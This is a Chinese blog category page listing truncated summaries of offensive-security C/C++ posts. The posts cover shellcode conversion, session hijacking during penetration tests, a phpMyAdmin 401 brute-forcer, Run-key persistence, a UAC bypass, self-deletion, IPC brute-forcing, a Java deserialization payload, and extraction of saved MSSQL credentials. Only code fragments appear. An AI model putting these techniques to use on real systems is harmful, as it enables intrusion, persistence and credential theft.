随笔分类 - c/c++
记录c/c++学习之路。
摘要:详细参数说明: 当把shellcode写入代码shellcode变量的时候,输入-bin shellcode.bin 将生成二进制文件数据流。 当需要把二进制数据流转换成hex(16进制的时候)输入-hex shellcode.bin hex.hex 具体请看代码。这是博主自己的学习笔记,请勿喷。
阅读全文
摘要:http://www.cnblogs.com/killbit/p/5393301.html 附上这篇文章,因为当时就已经想到了模拟上传,但是因为时间关系,所以就直接用PHP写了。现在改进一下,用VC+libcurl库。 我们也直接可以用MYSQL写入这段上传代码就可以了。 upload.html u
阅读全文
摘要:loader(exe): dll:Loaddll 添加一个.def模块定义文件。
阅读全文
摘要:在渗透当中,经常会碰到这样的问题。一个机器,机器上好几个用户,或者域内,想让某个机器的某个会话执行你想要执行的程序,或者中马,以当前会话来上线。 现在模拟如下的一个情况: 严格的DMZ,内网-->Dmz,而dmz->X<-内网. 而DMZ的服务器上有好几个会话,我们可以通过模拟用户登录来创建进程,看
阅读全文
摘要:#include "StdAfx.h"#include "Sql.h"#include #include #include #pragma comment(linker,"/nodefaultlib:LIBCMT.lib") #pragma comment(linker,"/nodefaultli...
阅读全文
摘要:最近在渗透一个网站,几个PHPMYADMIN用的都是401认证,于是就想自己写一个把,反正在内网也要用到的。代码写的很渣渣,如果大家在使用中有什么问题,可以告诉我,我来改正。// Basic.cpp : Defines the entry point for the console applicat...
阅读全文
摘要:BOOL Running(){ HKEY hKey; LPCTSTR strRegPath = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; if (RegOpenKeyEx(HKEY_CURRENT_USER, str...
阅读全文
摘要:#define WIN32_LEAN_AND_MEAN#include #include #pragma comment( lib, "kernel32" )#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMain...
阅读全文
摘要:// Passuac.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #include #include BOOL IsUserInAdminGroup() //判断是否...
阅读全文
摘要:#include "stdafx.h"#include "resource.h"#include #include int wmain(int argc,wchar_t* argv[]){ DWORD dwWrite=0; WORD wResID; HANDLE hFile = CreateF...
阅读全文
摘要:BOOL IsUserInAdminGroup() //判断是否在管理员组{ BOOL fInAdminGroup = FALSE; HANDLE hToken = NULL; HANDLE hTokenToCheck = NULL; DWORD cbSize = 0; ...
阅读全文
摘要:// Winhttp.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include #include #include #pragma comment (lib,"Winhttp.lib")BOOL request_http(wchar_t* ...
阅读全文
摘要:#include #include #include using namespace std;int main(){ HANDLE hOut; hOut = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hOut,...
阅读全文
摘要:// delself.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include BOOL SelfDelete(){ char szFile[MAX_PATH], szCmd[MAX_PATH]; if((GetModuleFileName...
阅读全文
摘要:// Ipc.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include #include struct ThreadParameter{ //结构体,传参 char Filename[MAX_PATH]; char szusername[M...
阅读全文
摘要:#include "stdafx.h"#include #include #include struct ThreadParameter{ char user[20]; char name[20];};DWORD WINAPI ThreadFunction (LPVOID pParam)...
阅读全文
摘要:#include "stdafx.h"#include #include #include #include #pragma comment (lib,"Winhttp.lib")char shell_invoke[] = ( "\xac\xed\x00\x05\x73\x72\x00\x2...
阅读全文
摘要:#include "stdafx.h"#include #include #include #include #include #pragma comment(lib,"crypt32.lib")using namespace std;void MyhandlError(char *s){ fpri...
阅读全文
摘要:首先要感谢哥们对我的指点,多谢。当我们遇到类似情况下,如何获取保存在MSSQL工具里的凭证呢?//如果对方连接地址后面加了IP\sqlexpress 连接的时候你也记得加上,不然即使密码正确,也会说登录失败。通过和哥们讨论研究分析以及查找资料,知道了密码存放的地方:C:\Users\Administ...
阅读全文
摘要:#include "stdafx.h"#include #include #include #include using namespace std;#pragma comment(lib, "crypt32.lib") WINCRYPT32API BOOL WINAP...
阅读全文